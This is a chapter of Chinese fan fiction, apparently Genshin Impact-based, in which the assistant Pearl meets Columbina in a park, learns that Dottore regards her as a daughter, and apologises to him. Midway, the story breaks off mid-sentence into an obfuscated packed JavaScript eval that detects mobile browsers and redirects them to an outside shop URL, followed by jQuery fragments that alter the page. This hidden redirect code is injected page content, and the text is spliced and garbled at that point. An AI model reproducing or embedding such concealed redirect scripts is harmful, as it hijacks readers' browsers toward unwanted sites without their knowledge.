珀尔忧心忡忡地过了几天,结果并没有受到老师的惩罚。
看来对方估计没有把那件事放在心上。
只是,最近这段时间,她很少再能看见多托雷了。
是在忙吗?
老师的确很忙,假如不是有分.身术,她很难想象,一个人能做那么多事情。
她就不行,她太笨了。
可能是开蒙晚的缘故,珀尔做什么事都比别人慢一拍。刚开始,她真的很害怕老师会因此嫌弃她,所以拼命努力学习,有一段时间,连吃饭都捧着书。
功夫不负有心人,她勉勉强强通过了老师的考验,成为了一名还算合格的助手。
即便如此,她也丝毫不敢放松警惕。
她知道,她随时都有可能回到地狱,只要老师不再需要她。
老师的助手曾经不止她一个,但他们最后都消失了,可能是让老师不满意,被“辞退”了吧。
正因如此,她才妄图将自己献给对方,迫切地想要和老师建立更深层更紧密的联系。
但是,她好像搞砸了。
她做了多余的事情。
老师根本不想要她。
她坐在公园长椅上,一边喂鸽子,一边长吁短叹。
鸽子圆滚滚的,也不怕人,看到食物就冲上来。可一旦珀尔想伸手摸它们,狡猾的鸽子就会扭身躲开,滑不溜秋的。
“你们这些鸽子,真是没有半点感恩之心,我喂你们吃东西,只是想摸摸你们都不愿意吗?凭什么鸽子就不用遵从人类社会的等价交换原则啊?”
珀尔郁闷地发出嘀咕。
“可能是因为,对鸽子来说,这些属于大自然的馈赠吧。”伴随着一声轻笑传来,一只“大鸽子”飘到了她的眼前。
珀尔愣住了,她抬头看向来人。
那是个美丽的少女,脸上戴着菱形镂空的眼罩,看上去轻飘飘的,像蝴蝶,又像白鸽。
总之,是个很漂亮的人,虽然看不见眼睛。
她能看得清路吗?
珀尔心想。
而且……总感觉她有点眼熟。
在哪儿见过她吗?
“也可以分我一点吗?”少女向她伸出手。
“当然可以。”珀尔将掰剩下的面包都给了她。
然后……
“啊!怎么是你吃啊!”她震惊道。
少女歪了歪头,手里拿着险些塞进嘴里的面包:“我不能吃吗?”
“这是喂鸽子的啊。”珀尔试图向她解释。
少女耸动鼻尖,轻轻嗅闻:“没有腐烂的味道,而且是面包,还很香,所以我是可以吃的吧?”
“话是这么说……”
已经无法阻止了。
话未说话,对方就将剩下的面包全部吃光了。
“你很饿吗?”珀尔狐疑道。
对方看上去也不像是缺吃少穿的人啊。
少女摇了摇头:“还好,刚从桑多涅那里用了下午茶过来。”
“好吧……”那为什么还要吃我的面包?
“嗯。”忽然,少女低下头,把脑袋伸到她的手边。
珀尔怔了怔:“怎么了?”
“我吃了你的东西,给你摸摸。”她一本正经地说道。
珀尔微微红了脸:“不,不用了。我又不是想摸你,才给你吃的。”
对方一抬头,不解道:“可你刚才,不还想摸鸽子吗?”
“那,那不一样。”
“因为鸽子更可爱?”
“也不是……”
“因为毛茸茸?”
“勉强算是吧……”
少女坐到她身旁,仰头望天。
气氛好奇怪。
空气沉寂了将近一分钟,珀尔终于憋不住了,主动搭话道:“你叫什么名字?”
“我吗?”少女把脸转向她,“他们都叫我哥伦比娅。”
什么叫他们都叫我哥伦比娅?
“你呢?”少女反问道。
“啊,我叫珀尔。”珀尔忙不迭回道。
“其实我知道你,只是想再确认一下。你小时候我还抱过你呢。”哥伦比娅爆出惊天猛料,“我是你的姑姑,虽然你可能不记得我了。”
珀尔:“啊?真……真的吗?”
她有这么年轻的姑姑吗?
“没错。”哥伦比娅说,“因为多托雷自己说过,我就像他的妹妹一样,而你,就像他的女儿一样,按照人类的伦理关系,我算是你的姑姑吧?在你小的时候,我经常上多托雷那边,我们偶尔能见上面。你还记得吗?当时你叫我蝴蝶姐姐。”
说着,她话锋一转:“但是桑多涅让我最好不要沉浸于这种过家家的游戏,阿蕾奇诺也劝我不要再去多托雷的实验工坊,就连罗莎琳也赞同她们的说法,所以渐渐的我就不再去多托雷那边了。”
珀尔:“……”
难怪说有点眼熟。
等等,她认识多托雷老师?
“你认识老师?”珀尔抓住了关键所在。
“你说多托雷吗?那确实认识。”哥伦比娅点头。
“老师跟你说我就像他的女儿一样?”
“是的。”
肩膀一塌,珀尔垂下脑袋,面如死灰。
她果然做了多余的事情!
老师,不……父亲大人愿意原谅她吗?
“你怎么了?”少女悄悄靠近,歪了下头说,“你现在给人的感觉,就好像……不小心捅破了天。”
“差不多吧。”
毕竟老师就是她的天啊。
“别担心。”哥伦比娅把手放在她的肩头,“有人说过,天塌了还有高个儿的顶着。”
珀尔:“……谢谢。所以,你和老师究竟是什么关系呢?应该不是亲兄妹吧?”
“是同事。”
“……”
好复杂的同事关系。
同事……是做什么工作的同事呢?
哥伦比娅看着也不像是医生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440212|201033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
尽管珀尔装聋作哑,从不曾探听老师多托雷的秘密,可相处的时间太长了,她也不可避免地会接触到一些与老师的真实身份相关的信息。
就比如,有人会称呼他为“博士大人”。
博士,难道是老师的学历吗?
怎么会有人让别人将自己的学历挂在嘴边当尊称呢?那也太自恋了。
所谓的“博士”,大概率是个代号。
就像有人称呼斯卡拉姆齐为“散兵大人”一样的代号。
医院里的“保安”和“护工”,也会提到“愚人众”这个名字,自吹自己在愚人众执行官第二席的手下工作,前途无量。
“愚人众”恐怕就是老师所在的组织。
第二席是他在那个组织所处的地位。
知晓老师真实身份的人,此刻就在眼前。而且,对方在那个组织里的地位和老师应该相差不多,所以不会因为畏惧而选择隐瞒。
好几次话到嘴边,珀尔都忍住了。
没有老师的允许,她是不会去打探他的秘密的。
“你怎么了?”哥伦比娅冷不丁出声道,“你看上去似乎很想说什么,但碍于现实的处境选择了闭口不言。你很害怕你的父亲吗?”
有时候,她真怀疑,对方真的看不见吗?
“不是父亲。”她否认道,“也不是害怕,我只是,不想辜负老师的信任。”
“是吗?”哥伦比娅仰头望天,“看来人类的师生关系也很复杂。唔,我要走了。”
说完,她站了起来。
珀尔也紧跟着起身。
“谢谢你的面包。”少女向她挥了挥手,“有机会,我请你一起去桑多涅的茶话会,珀尔。”
说完,对方就飘着离开了。
珀尔后知后觉地意识到:难道她,也不是人类吗?
她恍恍惚惚地回到了那栋白色建筑。
“老师?”
刚回去,她就碰到了多托雷。
蓝发青年转过身来,语气平淡地开口道:“你最近倒是很喜欢出门。”
“不,我不是喜欢出门,只是老师近来都不在医院,我太无聊了。”
说着,她径直走上前去,紧紧抱住了他。
硬邦邦的,像一块铁。
“对不起。”她颤着声音说道,“上次……是我说错话了。我没有其他意思,我只是想要向老师表达我的爱。可是我太笨了,做了多余的事情,请您原谅我吧,老师。”
冰冷的指尖捏住她下巴,将她轻轻抬起。
泪水在眼眶里转悠。
男人伸出手,用指尖擦了擦她泛红的眼角:“珀尔,你的年纪也不小了。身为成年人,你该对自己说的每一句话负责,而不是想着撒娇糊弄过去。仅此一次,下不为例。”
说完,他松开了她的下巴。
身形一晃,珀尔微微睁大眼睛,目送着青年转身离开的背影,心脏怦怦直跳。
所以,那件事,算是过去了吗?